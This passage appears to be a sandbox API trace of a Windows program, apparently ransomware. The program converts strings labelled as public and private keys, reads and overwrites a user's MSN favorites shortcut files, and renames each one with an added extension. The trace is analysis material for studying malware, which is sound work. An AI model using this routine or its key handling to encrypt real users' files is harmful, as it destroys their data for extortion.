(in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.062] GetCurrentThreadId () returned 0xa30 [0126.062] GetCurrentThreadId () returned 0xa30 [0126.062] GetCurrentThreadId () returned 0xa30 [0126.062] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.062] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0126.062] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.062] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0126.062] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.062] ReadFile (in: hFile=0x1e8, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0126.065] CloseHandle (hObject=0x1e8) returned 1 [0126.065] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.090] WriteFile (in: hFile=0x1e8, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0126.092] CloseHandle (hObject=0x1e8) returned 1 [0126.092] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url.zv7un")) returned 1 [0126.093] GetCurrentThreadId () returned 0xa30 [0126.093] GetCurrentThreadId () returned 0xa30 [0126.094] GetCurrentThreadId () returned 0xa30 [0126.094] GetCurrentThreadId () returned 0xa30 [0126.094] GetCurrentThreadId () returned 0xa30 [0126.094] GetCurrentThreadId () returned 0xa30 [0126.094] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0126.094] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.094] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0126.095] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url")) returned 0x20 [0126.095] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url", dwFileAttributes=0x80) returned 1 [0126.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.098] GetCurrentThreadId () returned 0xa30 [0126.098] GetCurrentThreadId () returned 0xa30 [0126.098] GetCurrentThreadId () returned 0xa30 [0126.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.099] GetCurrentThreadId () returned 0xa30 [0126.099] GetCurrentThreadId () returned 0xa30 [0126.099] GetCurrentThreadId () returned 0xa30 [0126.099] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.099] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0126.100] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.100] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0126.101] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: 